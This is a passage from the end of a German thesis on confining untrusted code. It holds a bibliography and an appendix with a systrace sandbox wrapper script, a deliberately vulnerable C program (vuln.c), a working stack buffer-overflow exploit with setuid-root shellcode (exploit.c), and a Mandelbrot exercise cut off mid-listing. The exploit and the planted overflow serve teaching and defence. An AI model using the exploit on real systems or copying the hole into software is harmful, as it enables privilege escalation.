[83] Open Wall Projekt; http://www.openwall.com; Stand: September 2005.

[84] Ott; *Sicherheits-Architektur*; Linux-Magazin 01, S. 48-53, 2003.

[85] Ott; *Wink mit dem Zaunpfahl*; Linux-Magazin 04, S. 61-67, 2003.

[86] Owl; http://www.openwall.com/Owl/; Stand: September 2005.

[87] Perl Safe-Mode; http://search.cpan.org/dist/perl/pod/perlsec.pod; Stand: September 2005.

[88] Peterson et al.; *A flexible containment mechanism for executing Untrusted Code* ; In Proceedings 11th Usenix Security Symposium., 2002.

[89] PHP Safe-Mode; http://de.php.net/features.safe-mode; Stand: September 2005.

[90] Potter et al.; *Secure Isolation and Migration of Untrusted Legacy Applications* ; Columbia University, Technical Report CUCS-005-04, 2004.

[91] Project Hairy Eyeball; http://blafasel.org/~floh/he/; Stand: September 2005.

[92] Provos et al.; *Enges Korsett – Systrace setzt Regeln für erlaubte Systemaufrufe durch*; Linux-Magazin 01, 2003.

[93] Provos, Niels; *Improving Host Security with System Call Policies*; 12 th Usenix Security Symposium, S. 257-272, 2003.

[94] Python Safe-Mode; http://www.python.org/doc/2.4.1/lib/module-rexec.html; Stand: September 2005.

[95] Raja et al.; *MAPBox: Using Parameterized Behavior Classes to Confine Applications* ; In Proceedings of the 9th Usenix Security Symposium, 2000.

[96] Ramalingam; *The Undecidability of Aliasing*; ACM Transactions on Programming Languages and Systems 16, S. 1467-1471, 1994.

[97] Rasche, Andreas; Polze, Andreas; *Configuration and dynamic reconfiguration of component-based applications with Microsoft .NET*; ISORC, S. 164-171, 2003.

[98] Rasche, Andreas; Rabe, Bernhard; von Löwis, Martin; Möller, Jan; Polze, Andreas; *Real-time robotic and process control experiments in the Distributed Control Lab (2005),* ; IEE Proceedings online no. 20045025, 2005.

[99] Rasche, Andreas; Tröger, Peter; Dirska, Michael; Polze, Andreas; *Foucault's Pendulum in the Distributed Control Lab*; In Proceedings of IEEE Workshop on Object-Oriented Realtime Dependable Systems, S. 299-306, 2003.

[100] RealTimeBattle; http://realtimebattle.sf.net; Stand: September 2005.

[101] RealTimeBattle Team Framework; http://rtb-team.sf.net; Stand: September 2005.

[102] RFC 1939 (PO3); http://www.faqs.org/rfcs/rfc1939.html; Stand: September 2005.

[103] RFC 2554 (SMTP AUTH); http://www.faqs.org/rfcs/rfc2554.html; Stand: September 2005.

[104] Ruby Safe-Mode; http://phrogz.net/ProgrammingRuby/taint.html; Stand: September 2005.

[105] Russinovich; Solomon; *Microsoft Windows Internals* ; Microsoft Press, Fourth Edition, 2004.

[106] Schnaub, Torsten; Antwortmengenprogrammierung; http://www.cs.uni-potsdam.de/wv/pdfformat/schaub02a.pdf; Stand: September 2005.

[107] Schneider, Fred; *Open Source in Security: Visiting the Bizarre*; 2000 IEEE Symposium on Security and Privacy, S. 126-127, 2000.

[108] Schneier, Bruce; *Applied Cryptography*; John Wiley & Sons, 2nd edition, 1996.

[109] Schöning, Uwe; *Theoretische Informatik – kurzgefasst*; Spektrum Akademischer Verlag Berlin Heidelberg, 5. Auflage, 2001.

[110] Scott, Kevin; Davidson, Jack; *Safe virtual execution using software dynamic translation*; Proceedings Annual Computer Security Applications Conference 2002, S. 1-10, 2002.

[111] Security Enhanced Linux; http://www.securityenhancedlinux.com; Stand: September 2005.

[112] Security Enhanced Linux; http://www.nsa.gov/selinux; Stand: September 2005.

[113] Seitner; *Linux härten - zusätzliche Sicherheitsmechanismen für den Kernel*; Linux-Magazin 03, S. 60-64, 2005.

[114] Sha, Lui; *Using Simplicity to Control Complexity*; , S. 20-28, 2001.

[115] Sourceforge; http://www.sourceforge.net; Stand: September 2005.

[116] Stack Shield: A stack smashing tecnique protection tool for Linux; http://www.angelfire.com/sk/stackshield; Stand: September 2005.

[117] Stevens; *Advanced Programming in the Unix Environment*; Addison Wesley, 1st edition, 1992.

[118] STL Quellen; http://gcc.gnu.org/libstdc++/; Stand: September 2005.

[119] Stroustrup, Bjarne; *Die C++ Programmiersprache*; Addison Wesley, 3. Ausgabe, 2000.

[120] subterfugue: A framework for Observing and Playing with Reality of Software; http://subterfugue.org; Stand: September 2005.

[121] Sutter, Herb; *Exceptional C++*; Addison Wesley, 1. Ausgabe, 2000.

[122] Thompson, Ken; *Reflection on Trusting Trust* ; Communication of the ACM, Vol. 27, No. 8, S. 761-763, 1984.

[123] Truong; Bancroft; Roe; *Automated Feedback for "Fill in the Gap" Programming Exercises*; Conferences in Research and Practice in Information Technology, Vol. 42 , S. 1-10, 2005.

[124] Valgrind; http://valgrind.org/; Stand: September 2005.

[125] VServer; http://linux-vserver.org; Stand: September 2005.

[126] Wagner; *Janus: an approach for confinement of untrusted applications*; University of California, Berkeley, Masterarbeit, 1999.

[127] Wagner et al.; *Janus: an Approach for Confinement of Untrusted Applications*; Technical Report, CSD-99-1056, 1999.

[128] Wagner et al.; *Mimicry attacks on host based intrusion detection systems*; Proc. Ninth ACM Conference on Computer and Communications Security, 2002.

[129] Wagner et al.; *Intrusion Detection via Static Analysis*; Proceedings of the 2001 IEEE Symposium on Security and Privacy, S. 156-169, 2001.

[130] Wahbe, Robert et al.; *Efficient sotware-based fault isolation*; ACM SIGOPS Operating System Review, 27(5), S. 203-216, 1993.

[131] Walker et al.; *Confining root programs with domain and type enforcement* ; In Proceedings of the sixth Usenix Security Symposium, 1996.

[132] Walsh, Peter; Uhl; *On The Benefits Of Integrating Systematic Verification Into Cs1 And Cs2*; he First Annual Consortium for Computing in Small Colleges Northwest Conference, S. 1-17, 1999.

[133] Waters, Robert; Abowd, Gregory D.; *Architectural Synthesis: Integrating Multiple Architectural Perspectives*; Working Conference on Reverse Engineering, S. 2-12, 1999.

[134] WINE Project; http://www.winehq.org/; Stand: September 2005.

[135] Yong, Suan; *Pointer Analysis for Programs with Structures and Casting*; Conference on Programming Language Design and Implementation, S. 91-103, 1999.

[136] Zertifikatsbeantragung für ProgrammiertechnikII; http://www.dcl.hpi.uni-potsdam.de/teaching/pi2/weblog.htm?&subaction=showfull&id=1110980448&file=/cms/teaching/pi2/weblog.htm; Stand: September 2005.

[137] Zimmermann; Me; Bidan; *An Improved Reference Flow Control Model for Policy Based Intrusion Detection*; ESORICS 2003, LCNS 2808, S. 291-308, 2003.

Anhang

create_guardedrobot.sh: Die RealTimeBattle Security Infrastructure

```
#! /bin/sh

# RealTimeBattle Security Infrastructure

# Creates secured robot wrapper script

# Author: Johannes Nicolai

# patterns, that will be replaced:

# @TEAM@ will be replaced by the value of the -t option

# @ROBOTNAME@ will be replaced by the program name of the robot

#


usage() {

      echo "Usage: $0 <parameters> <output script names without suffix .
robot>"

      echo "Optional parameters:"

      echo "-b <base policy file, if not specified, a default policy will
be used>"

      echo "-e enforces policy, otherwise feedback"

      echo "-s <script snippet, will be included in the generated output
script, else a default snippet will be used>"

      echo "-c <client specific policy file, will be included>"

      echo "-g graphical feedback, otherwise textual"

      echo "-a <configuration file, will be given as first argument to the
robot binary, read access will be granted>"

      echo "-f fork in order to start the new robot (signals will be sent
to created shell script and not to robot)"

      echo "-l <directory where to store the blocking hint file>, else, no
blocking file will be created"

      echo "-k create only wrapper script, this is useful if you want to
keep the altered policy"


      echo "Where necessary parameters are:"

      echo "-t <team name>"

      echo "-d <policy directory>"

      echo "-p <program name of the robot>"
```

```
}

abspath () {
  if [ -z "$1" ] ; then
   return 1
  fi
  CURDIR=`/bin/pwd`
  cd "`dirname $1`"
  if [ $? -ne 0 ]; then
      echo "Aborting ..."
      exit 1
  fi
  ABSPATH="`/bin/pwd`/`basename $1`"
  cd "$CURDIR"
}

absdir () {
  if [ -z "$1" ] ; then
   return 1
  fi
  CURDIR=`/bin/pwd`
  cd "$1"
  if [ $? -ne 0 ]; then
      echo "Aborting ..."
      exit 1
  fi
  ABSDIR="`/bin/pwd`"
  cd "$CURDIR"
}

enforce=""
fork="exec "
graphicalfeedback="-t "
arguments=""
```

```
script_snippet_set=0

keep_policy=0
base_policy_set=0
team_name_set=0
policy_directory_set=0
program_name_set=0
client_policy_set=0
argument_set=0
blocking_set=0
blocking_directory=""

while getopts "ea:s:b:l:t:d:p:c:gfk" option; do
      if [ $option = "?" ]; then
            usage; exit 1
      fi
      case $option in
            "e")  enforce="-a "
                        ;;
            "f")  fork=""
                        ;;
            "k")  keep_policy=1
                        ;;
            "g")  graphicalfeedback=""
                        ;;
            "a")  arguments="$OPTARG"
                  # canonicalize path name
                  abspath "$arguments"
                  if [ $? -ne 0 ]; then
                        echo "Aborting ..."
                        exit 1
                  fi
                  arguments=$ABSPATH
                  argument_set=1
```

```
                        ;;
            "s")  script_snippet="$OPTARG"
                        script_snippet_set=1
                        ;;

            "b")  base_policy="$OPTARG"
                        base_policy_set=1
                        ;;
            "t")  team_name="$OPTARG"
                        team_name_set=1
                        ;;
            "l")  blocking_directory="$OPTARG"
blocking_set=1
                        ;;
            "d")  policy_directory="$OPTARG"
                        # canonicalize path name
                        absdir "$policy_directory"
                        if [ $? -ne 0 ]; then
                              echo "Aborting ..."
                              exit 1
                        fi
                        policy_directory=$ABSDIR
                        policy_directory_set=1
                        ;;
            "p")  program_name="$OPTARG"
                        # canonicalize path name
                        abspath "$program_name"
                        if [ $? -ne 0 ]; then
                              echo "Aborting ..."
                              exit 1
                        fi
                        program_name=$ABSPATH
                        program_name_set=1
                        ;;
```

```
            "c")  client_policy="$OPTARG"
                        client_policy_set=1
                        ;;
      esac
done
if [ $OPTIND -gt $# ]; then
      echo "Ouput script name missing!"
      usage
      exit 1
fi

shift `expr $OPTIND - 1`


if [ $team_name_set -eq 0 ]; then
      echo "Necessary option -t missing!"
      usage
      exit 1
fi

if [ $policy_directory_set -eq 0 ]; then
      echo "Necessary option -d missing!"
      usage
      exit 1
fi

if [ $program_name_set -eq 0 ]; then
      echo "Necessary option -p missing!"
      usage
      exit 1
fi

for i in "$@"; do
            abspath "$i"
```

```
            if [ $? -ne 0 ]; then
                  echo "Aborting ..."
                  exit 1
            fi

            i=$ABSPATH

            # 1. obtain the name of the policy file
            policyfilename=`echo "$i" | sed -ne "s|^/||; s|/|_|g; s|-|_|g;
p"`
            if [ $keep_policy -eq 0 ]; then
                  # 2. substitute certain words
                  # generate the policy for the outputscript
                  if [ $base_policy_set -eq 1 ]; then
                        cat $base_policy | sed -ne "s|@TEAM@|$team_name|g;
s|@ROBOTNAME@|$i|g; p" > "${policy_directory}/${policyfilename}"
                        if [ $? -ne 0 ]; then
                              echo "Aborting ..."
                              exit 1
                        fi
                  else
                        cat <<__EOF | sed -ne "s|@TEAM@|$team_name|g; s|
@ROBOTNAME@|$i|g; p" > "${policy_directory}/${policyfilename}"
Policy: @ROBOTNAME@, Emulation: linux
      linux-newuname: permit
      linux-brk: permit
      linux-old_mmap: permit
      linux-fstat64: permit
      linux-close: permit
      linux-read: permit
      linux-write: permit
      linux-munmap: permit
      linux-getrlimit: permit
      linux-setrlimit: permit
      linux-getpid: permit
```

```
linux-getppid: permit
linux-rt_sigaction: permit
linux-rt_sigprocmask: permit
linux-sigreturn: permit
linux-getuid: permit
linux-geteuid: permit
linux-getgid: permit
linux-getegid: permit
linux-time: permit
linux-sigreturn: permit
linux-nanosleep: permit
linux-gettimeofday: permit
linux-ni_syscall-56: permit
linux-ni_syscall-43: permit
linux-ni_syscall-1exit: permit
linux-llseek: permit
linux-sysctl: deny[eperm]
linux-ioctl: deny[eperm]
linux-fcntl64: deny[eperm]
linux-fcntl: deny[eperm]
linux-execve: deny[eperm]
linux-fork: deny[eperm]
linux-clone: deny[eperm]
linux-fsread: filename eq "/dev/urandom" then permit
linux-fsread: filename eq "@ROBOTNAME@" then permit
linux-fsread: filename eq "/dev/random" then permit
linux-fsread: filename eq "/dev/null" then permit
linux-fsread: filename eq "/proc/sys/kernel/version" then permit
linux-fsread: filename match "/usr/local/lib/*" then permit
linux-fsread: filename eq "/etc/ld.so.nohwcap" then permit
linux-fsread: filename eq "/etc/ld.so.preload" then permit
linux-fsread: filename eq "/etc/ld.so.cache" then permit
linux-fsread: filename match "/lib/*" then permit
linux-fsread: filename match "/usr/lib/*" then permit
```

```
      linux-fsread: filename match "/usr/X11R6/lib/*" then permit
      linux-fsread: filename match "/usr/local/share/*" then permit
      linux-fsread: filename eq "/proc/self/exe" then permit
      linux-fsread: filename match "/etc/perl/*" then permit
      linux-fsread: filename match "/usr/share/*" then permit
      linux-fsread: filename match "/etc/perl/*" then permit
      linux-socket: sockdom eq "AF_UNIX" and socktype eq "SOCK_STREAM" then
permit
      linux-listen: permit
      linux-select: permit
      linux-accept: permit
      linux-bind: sockaddr match "/tmp/rtb/@TEAM@/*" then permit
      linux-connect: sockaddr match "/tmp/rtb/@TEAM@/*" then permit
      linux-fswrite: filename match "/tmp/rtb/@TEAM@/*" then permit
      linux-fsread: filename match "/tmp/rtb/@TEAM@/*" then permit
__EOF

                        if [ $? -ne 0 ]; then
                              echo "Aborting ..."
                              exit 1
                        fi

                  fi

                  if [ $client_policy_set -eq 1 ]; then
                        cat $client_policy | sed -ne "s|@TEAM@|$team_name|
g; s|@ROBOTNAME@|$i|g; p" >> "${policy_directory}/${policyfilename}"
                        if [ $? -ne 0 ]; then
                              echo "Aborting ..."
                              exit 1
                        fi
                  fi



                  if [ $argument_set -eq 1 ]; then
```

```
                        echo -e "\tlinux-fsread: filename eq \"$arguments\"
then permit" >> "${policy_directory}/${policyfilename}"
                  fi



                  # 3. Create the hardlink
                  ln -f $program_name $i
                  if [ $? -ne 0 ]; then
                        echo "Aborting ..."
                        exit 1
                  fi
            fi

            # 4. Generate script
            scriptname=${i}.robot
            echo "#! /bin/sh" > ${scriptname}
            if [ $script_snippet_set -eq 1 ]; then
                  cat $script_snippet | sed -ne "s|@TEAM@|$team_name|g; s|
@ROBOTNAME@|$i|g; p" >> "$scriptname"
                  if [ $? -ne 0 ]; then
                        echo "Aborting ..."
                        exit 1
                  fi
                  else
                        cat <<__EOF2 | sed -ne "s|@TEAM@|$team_name|g; s|
@ROBOTNAME@|$i|g; p" >> "$scriptname"
ulimit -c 0 # core files = 0
ulimit -d 10240 # maximum size of data segment: 10 MB
ulimit -f 1024 # maximum size of created files = 1 MB
ulimit -l 1024 #maximum size, that may be locked into memory: 10 MB
ulimit -n 150 # maximum number of open file descriptors = 150
ulimit -s 2048 # maximum stack size = 2 MB
ulimit -t 120 # maximum CPU time = 120 s
ulimit -m 5120 # maximum size of working set = 20 MB, not sure whether this
value is a reasonable one
#ulimit -p 2048 # maximum buffer size of pipes = 2 MB
```

```
ulimit -v 20480 # maximum size of virtual memory = 20 MB

#ulimit -u 1 # maximum number of processes = 1, this is not used at the
moment, because all processes run under the same uid


# perhaps we should add a line about disk quotas here


# first remove contents from team directory (if it exists)

rm -rf /tmp/rtb/@TEAM@

# sleep a second to avoid Race-Conditions

sleep 1

# create team directory

mkdir -p /tmp/rtb/@TEAM@/

__EOF2


                        if [ $? -ne 0 ]; then

                              echo "Aborting ..."

                              exit 1

                        fi

            fi

            echo "${fork}systrace -i ${enforce}${graphicalfeedback}-d
'$policy_directory' '$i' $arguments" >> "$scriptname"

            if [ $? -ne 0 ]; then

                  echo "Aborting ..."

                  exit 1

            fi


            chmod a+x "$scriptname"

            # later perhaps also chown but then signal handling won't work
any more 8-(

            if [ $? -ne 0 ]; then

                  echo "Aborting ..."

                  exit 1

            fi


            # 5. Create robot blocks file
```

```
            scriptname=`basename $scriptname`
            if [ $blocking_set -eq 1 ]; then
                  touch "${blocking_directory}/${scriptname}"
                  if [ $? -ne 0 ]; then
                        echo "Aborting ..."
                        exit 1
                  fi
            fi

done
```

vuln.c: Ein durch Pufferüberlauf ausnutzbares Programm

```
/*
vuln.c: Um den anschließenden Exploit auszuprobieren, sollte
dieses Programm den Namen vuln bekommen
Autor: Jon Erickson und Johannes Nicolai
*/

// Schätzung der Adresse des Stackpointers
unsigned long esp(void) {
     __asm__("movl %esp, %eax");
}


int main(int argc,char** argv) {
     /* Ausgabe der Schätzung des Stackpointers */
     printf("esp in main  : %u\n",esp());

     /* der zu kleine Puffer */
     char buffer[500];

     /* Ausgabe der Adresse des Puffers */
     printf("Bufferaddress: %u\n", buffer);

     /* hier passiert der potenzielle Pufferüberlauf */
     strcpy(buffer,argv[1]);
     return 0;
}
```

exploit.c: Ein Beispielexploit für vuln.c

```
/*
exploit.c:  Damit  dieser  Exploit  funktioniert,  muss  das
compilierte Programm im selben Verzeichnis wie vuln liegen und
auf einer i386-Architektur unter Linux ausgeführt werden
Autor: Jon Erickson und Johannes Nicolai
*/

#include <stdlib.h>

/* Maschinencode, ruft setuid(0) und dann eine shell auf */
char shellcode[]=
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\
x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x5
3\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
;

/* gibt ungefähr die Adresse des Stackpointers wieder */
unsigned long sp(void) {
     __asm__("movl %esp, %eax");
}


int main () {
     int i,offset;
     long esp,ret,*addr_ptr;
     char* buffer, *ptr;

     /* Das anzugreifende Programm enthält einen 500 Byte
     großen Puffer in main.
     Außerdem wird es mit einem 600 Byte großen Puffer
     aufgerufen, was den Stackpointer in main verschiebt.
     => offset ist ungefähr 1000
     */
     offset=1020;
```

```
/* Stackpointer ungefähr schätzen */
esp=sp();
/* hier wird die neue Rücksprungadresse berechnet */
ret=esp-offset;

/* Ausgabe des Stackpointers und der Rücksprungadresse */
printf("Stack pointer: %u\n",esp);
printf("Ret address  : %u\n",ret);

/* Anlegen eines zu großen Puffers */
buffer=malloc(600);
ptr=buffer;
addr_ptr=(long*) ptr;
/* gesamter Puffer wird zunächst mit Rücksprungadresse
gefüllt, unbedingt auf Alignment achten
*/
for (i=0;i<600;i+=4) {
     *(addr_ptr++)=ret;
}

/* Einfügen von 200 NOP-Sleds, um eine bessere Toleranz
beim Ansprung des Shell-Codes zu erreichen.
Nach Rücksprung, wird zunächst irgendwo in diese NOP-
Sleds gesprungen, bis man automatisch zum nachfolgenden
Shell-Code gelangt
=> Toleranz bei Vorhersage der Sprungadresse: 200 Bytes
*/
for (i=0;i<200;++i) {
     buffer[i]='\x90';
}
ptr=buffer+200;

/* Hier wird der Shell-Code in den Puffer kopiert */
for (i=0;i<strlen(shellcode);++i) {
     *(ptr++)=shellcode[i];
```

```
    }
    /* Terminieren des Puffers */
    buffer[600-1]=0;

    /* Ausführung des verwundbaren Programms und Verursachung
    eines Pufferüberlaufs */
    execl("./vuln","vuln",buffer,0);

    /* Freigeben des Puffers */
    free(buffer);
    return 0;
}
```

aufg43.c: Lösung für eine Aufgabe im Rahmen der Betriebssystemarchitektur-Übung

```
/**
 *
 * Aufgabe 4.3 von Johannes Nicolai und Victor Saar
 * Erzeugt mittels einer variablen Anzahl von Worker-Prozessen
 * ein Apfelmännchen
 * Die Worker-Threads berechnen jeweils einen kleinen
 * Ausschnitt des Bildes
 * dessen Daten auf der Standardausgabe ausgegeben werden.
 *
 */
#include <stdio.h>
#include <errno.h>
#include <math.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/sem.h>
#include <sys/wait.h>
#include <signal.h>

// we need to define this union in order to use semctl
#if defined(__GNU_LIBRARY__) && !defined(_SEM_SEMUN_UNDEFINED)
       /* union semun is defined by including <sys/sem.h> */
       #else
       /* according to X/OPEN we have to define it ourselves*/
       union semun {
             int val; // value for SETVAL
```

```
        struct semid_ds *buf; // buffer for IPC_STAT, IPC_SET
        unsigned short *array; // array for GETALL, SETALL
        /* Linux specific part: */
        struct seminfo *__buf;  // buffer for IPC_INFO
      };
#endif


#define XSIZE 500
#define YSIZE 500
#define A_RED   0
#define A_GREEN 60
#define A_BLUE  120
#define DIE_ZAHL_PI 3.1415926

typedef struct {
    int x, y;
    unsigned char r[2500], g[2500], b[2500];
} block;

int* block_ready;
block* block_data;
#define XSIZE 500
#define YSIZE 500

// our synchronization objects
int semid;
int memid;

// determine whether we are child or parent
char parent=1;

// our synchronization commands
struct sembuf release_mutex_and_wakeup_main_command[2];
```

```
struct sembuf lock_mutex_command[1];
struct sembuf sleep_main_command[1];

// global counters
int* block_info_counter;
int* block_ready_counter;

// pointer to bitmap data, backed up in file
unsigned char* ptr;

static int getMandelbrotPixelAt(double x, double y)
{
    double wx;
    double wy;
    double old_wx;
    int count;

    wx = x;
    wy = y;
    old_wx = 0;
    count = 0;

    do {
     old_wx = wx;
     count++;
     wx = wx * wx - wy * wy + x;
     wy = 2 * old_wx * wy + y;
    }
    while (((wx * wx + wy * wy) <= 4) && (count < 200));

    return count;
}

static int getColorValue(int value, double angle)
```

```
{
    double d;
    d =sin((angle + (value*360.0/200.0))*DIE_ZAHL_PI/180.0);
    return d * d * 255;
}

void print_block(block b)
{
    int i;
    printf("%d\n", b.x);
    printf("%d\n", b.y);
    printf("%d\n", 50);
    printf("%d\n", 50);

    for (i = 0; i < 2500; ++i) {
     printf("%d\n", b.r[i]);
     printf("%d\n", b.g[i]);
     printf("%d\n", b.b[i]);
    }
}


// main process will sleep until a new block is done
int sleep_main()
{
    // decrease semaphor
    if (-1==semop(semid,sleep_main_command,1)) {
     perror("Catastrophe while waiting of helper process!");
     return -1;
    }
    return 0;
}
```

```
int get_next_block(int oldblock)
{
    int next_block;
    // only release mutex
    int numbercommands=1;

    // get mutex
    if (semop(semid,lock_mutex_command,1)) {
     perror("Cannot lock mutex");
     return -1;
    }
    next_block = (*block_info_counter)++;
    // one block before
    if (oldblock != -1) {
     //we can inform main thread, there is another block ready
     numbercommands=2;
     block_ready[(*block_ready_counter)++] = oldblock;
    }

    // release mutex, in most cases increment semaphor
    if (semop
(semid,release_mutex_and_wakeup_main_command,numbercommands)){
     perror("Could not release mutex and increment semaphor");
     return -1;
    }
    return next_block;
}

void worker_process()
{
    int x, y;
    unsigned char* offsetptr;
    unsigned char* currentptr;
    int i = get_next_block(-1), k, block_x, block_y;
```

```
    while (i != -1 && i < 100) {
     block_x = (i % 10) * 50;
     block_y = (i / 10) * 50;

     block_data[i].x = block_x;
     block_data[i].y = block_y;

     // compute size in file where current block is located
     offsetptr=ptr+(YSIZE-1-block_y)*XSIZE*3+block_x*3;
     currentptr=offsetptr;

     for (y = 0; y < 50; ++y) {
         for (x = 0; x < 50; ++x) {
          k=getMandelbrotPixelAt((block_x+x)*(2.0/XSIZE) -1.5,
(block_y + y) * (2.0 / YSIZE) - 1.0);

          if (k >= 200) {
              block_data[i].r[x + y * 50] = 0;
              block_data[i].g[x + y * 50] = 0;
              block_data[i].b[x + y * 50] = 0;
              *(currentptr++)=0;
              *(currentptr++)=0;
              *(currentptr++)=0;

          } else {
            block_data[i].r[x+y*50]=getColorValue(k,A_RED);
            block_data[i].g[x+y*50]=getColorValue(k, A_GREEN);
            block_data[i].b[x+y*50]=getColorValue(k, A_BLUE);
            *(currentptr++)=getColorValue(k,A_BLUE);
            *(currentptr++)=getColorValue(k,A_GREEN);
            *(currentptr++)=getColorValue(k,A_RED);
           }
         }
     // go one line deeper
     offsetptr-=XSIZE*3;
```

```
     currentptr=offsetptr;

     }
     i = get_next_block(i);
    }
}

// mark semaphor for deletion
void deletesemaphor() {
   // only if parent
   if (parent) {
        // mark semaphors for deletion
        if (-1==semctl(semid,0,IPC_RMID)) {
          perror("Could not mark semaphors for deletion");
        }
   }
}

// mark shared memory for deletion
void deletememory() {
    // only if parent
    if (parent) {
     // mark memory for destruction
         if (-1==shmctl(memid,IPC_RMID,0)) {
          perror("Could not mark shared area for deletion");
         }
    }
}

void sighandler(int dummy) {
     fprintf(stderr,"Got signal %d, cleaning up...\n",dummy);
     // exit will call the registered clean up functions
     exit(EXIT_FAILURE);
}
```

```
void usage()
{
    fprintf(stderr,
         "Usage: aufg43 <number of worker processes> <filename
to save bmp>\n");
}

int main(int argc, char **argv)
{

/* because abortion of this program can result in non freed
resources, we catch some signals and then quit with exit */
    if (SIG_ERR==signal(SIGINT,sighandler)) {
     fprintf(stderr,"Could not set signal handler for
SIGINT\n");
    }
    if (SIG_ERR==signal(SIGTERM,sighandler)) {
     fprintf(stderr,"Could not set signal handler for
SIGTERM\n");
    }

    if (argc != 3) {
     usage();
     exit(EXIT_FAILURE);
    }

    int anzahl_procs = atoi(argv[1]);

    if (anzahl_procs < 1 || anzahl_procs>100) {
     fprintf(stderr, "number of processes less than 1 or
greater than 100!\n");
     exit(EXIT_FAILURE);
    }

    int fd;
```

```
int i;
int lvalue;
short svalue;
int main_block_counter;

// we do not like to overwrite existing files
fd=open(argv[2],O_CREAT|O_EXCL|O_RDWR,0644);
if(-1==fd)
{
    perror("Could not create file");
    exit(EXIT_FAILURE);
}

lvalue=XSIZE*YSIZE*3+54;

// set the correct size of the file
if (-1==ftruncate(fd,lvalue)) {
    perror("Could not set correct size of file");
    exit(EXIT_FAILURE);
}


ptr=mmap(0,lvalue,PROT_WRITE,MAP_SHARED,fd,0);
if (ptr==MAP_FAILED) {
 perror("Could not map file into memory");
    exit(EXIT_FAILURE);
}

svalue=0x4d42;
memcpy(ptr,&svalue,2);//signature
ptr+=2;
lvalue=XSIZE*YSIZE*3+54;
memcpy(ptr,&lvalue,4); //filesize
ptr+=4;
```

```
lvalue=0;
memcpy(ptr,&lvalue,4);//reserved
ptr+=4;
lvalue=54;
memcpy(ptr,&lvalue,4);//image offset
ptr+=4;
lvalue=40;
memcpy(ptr,&lvalue,4);//size of header follows
ptr+=4;
lvalue=XSIZE;
memcpy(ptr,&lvalue,4);//with of image
ptr+=4;
lvalue=YSIZE;
memcpy(ptr,&lvalue,4); //height of image
ptr+=4;
svalue=1;
memcpy(ptr,&svalue,2); //number of planes
ptr+=2;
svalue=24;
memcpy(ptr,&svalue,2); //number of pixel
ptr+=2;
lvalue=0; //compression
memcpy(ptr,&lvalue,4); //compression
ptr+=4;
lvalue=XSIZE*YSIZE*3;
memcpy(ptr,&lvalue,4); //size of image
ptr+=4;
lvalue=0;
memcpy(ptr,&lvalue,4); //xres
ptr+=4;
lvalue=0;
memcpy(ptr,&lvalue,4); //yres
ptr+=4;
lvalue=0;
```

```
    memcpy(ptr,&lvalue,4); //number of colortables
    ptr+=4;
    lvalue=0;
    memcpy(ptr,&lvalue,4); //number of important colors
    ptr+=4;

    // initialize semaphors
    semid=semget(IPC_PRIVATE,2,0666);
    if (-1==semid) {
     perror("Could not obtain semaphor set");
     exit(EXIT_FAILURE);
    }

    //register deletion routine
   if (atexit(deletesemaphor)) {
     fprintf(stderr,"Could not register semaphor set deletion
routine!\n");
     deletesemaphor();
     exit(EXIT_FAILURE);
   }

    union semun dummy;
    // set initial values: mutex set to free,
    // semaphore set to zero
    unsigned short semvalues[]={1,0};
    dummy.array=semvalues;
    // set both semaphor values to 0
    if (-1==semctl(semid,0,SETALL,dummy)) {
     perror("Could not set the initial values of the semaphore
set");
     exit(EXIT_FAILURE);
    }

    // intialize semaphor commands
```

```
    // we like to chose the first semaphor in the set
    // (used as mutex)
    release_mutex_and_wakeup_main_command[0].sem_num=0;
    // unlock mutex
    release_mutex_and_wakeup_main_command[0].sem_op=1;
    // no special flags
    release_mutex_and_wakeup_main_command[0].sem_flg=0;
    // we like to chose the second semaphor in the set
    // (used as semaphor)
    release_mutex_and_wakeup_main_command[1].sem_num=1;
    // increment semaphor
    release_mutex_and_wakeup_main_command[1].sem_op=1;
    // no special flags
    release_mutex_and_wakeup_main_command[1].sem_flg=0;

    // we like to chose the first semaphor in the set
    //(used as mutex)
    lock_mutex_command[0].sem_num=0;
    // lock mutex
    lock_mutex_command[0].sem_op=-1;
    // no special flags
    lock_mutex_command[0].sem_flg=0;


    // we like to chose the second semaphor in the set
    // (used as semaphor)
    sleep_main_command[0].sem_num=1;
    // decrement semaphor
    sleep_main_command[0].sem_op=-1;
    // no special flags
    sleep_main_command[0].sem_flg=0;

    // map shared memory
    memid=shmget(IPC_PRIVATE,sizeof(int)*102+sizeof(block)
*100,0666);
```

```
    if (memid==-1) {
     perror("Could not get a shared memory area");
     exit(EXIT_FAILURE);
    }

    //register deletion routine
    if (atexit(deletememory)) {
      fprintf(stderr,"Could not register memory deletion
routine!\n");
      deletememory();
      exit(EXIT_FAILURE);
    }
    signed char* sharedarea=shmat(memid,0,0);
    if (sharedarea==(signed char *)-1) {
     perror("Could not map memory segment");
     exit(EXIT_FAILURE);
    }
    // distribute the obtained memory
    block_info_counter=(int*)sharedarea;
    block_ready_counter=(int*)(sharedarea+sizeof(int));
    block_ready=(int*)(sharedarea+2*sizeof(int));
    block_data=(block*)(sharedarea+102*sizeof(int));

    *block_info_counter = 0;
    *block_ready_counter = 0;

    // start processes
    pid_t pidContainer[anzahl_procs];
    if (sizeof(pidContainer) != sizeof(pid_t) * anzahl_procs){
     fprintf(stderr, "Could not allocate memory for pid
array!\n");
     exit(EXIT_FAILURE);
    }

    for (i=0;i<anzahl_procs;++i) {
```

```
 // forked process will inherit attached memory, mapped
 // memory, file descriptors and semaphor ids
 if ((pidContainer[i] = fork()) < 0) {
     perror("fork did not work for us 8-(");
     exit(EXIT_FAILURE);
 }
 if (!pidContainer[i]) {
      // start worker process
      // we are a child
      // so exit handlers should do nothing
      parent=0;
      worker_process();
      exit(EXIT_SUCCESS);
 }
}

for (main_block_counter = 0; main_block_counter < 100;
  ++main_block_counter) {
 if (sleep_main()) {
     exit(EXIT_FAILURE);
 }
 print_block(block_data[block_ready[main_block_counter]]);
}
// we are ready now


int status;
// wait for termination of the  helper processes
for (i = 0; i < anzahl_procs; ++i) {
 if (waitpid(pidContainer[i], &status, 0) < 0) {
     perror("waitpid did not work for us!");
